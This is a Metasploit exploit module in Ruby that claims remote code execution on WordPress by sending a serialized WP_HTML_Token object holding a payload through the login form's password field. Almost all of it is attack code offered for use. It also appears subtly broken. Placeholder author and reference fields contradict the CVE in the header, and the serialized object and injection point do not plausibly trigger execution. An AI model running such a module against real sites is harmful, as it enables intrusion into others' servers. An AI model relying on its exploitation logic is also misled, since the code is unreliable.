-CVE-2024-31211

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress WP_HTML_Token Unserialization RCE',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in WordPress via
        the unserialization of instances of the `WP_HTML_Token` class. This allows for
        code execution via its `__destruct()` magic method.
      },
      'Author'         =>
        [
          'Your Name'  # OneArch
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-XXXX'],  # Replace with the correct CVE number
          ['URL', 'https://example.com/advisory']  # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [
        ['WordPress <= 5.x', { }]
      ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'Payload'        =>
        {
          'BadChars' => "\x00",
        }
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The base path to the WordPress installation", '/']),
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'wp-login.php'),
    })

    if res && res.code == 200 && res.body.include?('wp-login.php')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Sending payload to trigger unserialization vulnerability")

    serialized_payload = 'O:13:"WP_HTML_Token":1:{s:13:"__destruct";s:' + payload.encoded.length.to_s + ':"' + payload.encoded + '";}'

    post_data = {
      'user_login' => Rex::Text.rand_text_alphanumeric(8..12),
      'user_pass'  => serialized_payload,
      'wp-submit'  => 'Log In',
      'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/'),
      'testcookie' => 1
    }

    send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'wp-login.php'),
      'vars_post' => post_data
    })

    handler
  end
end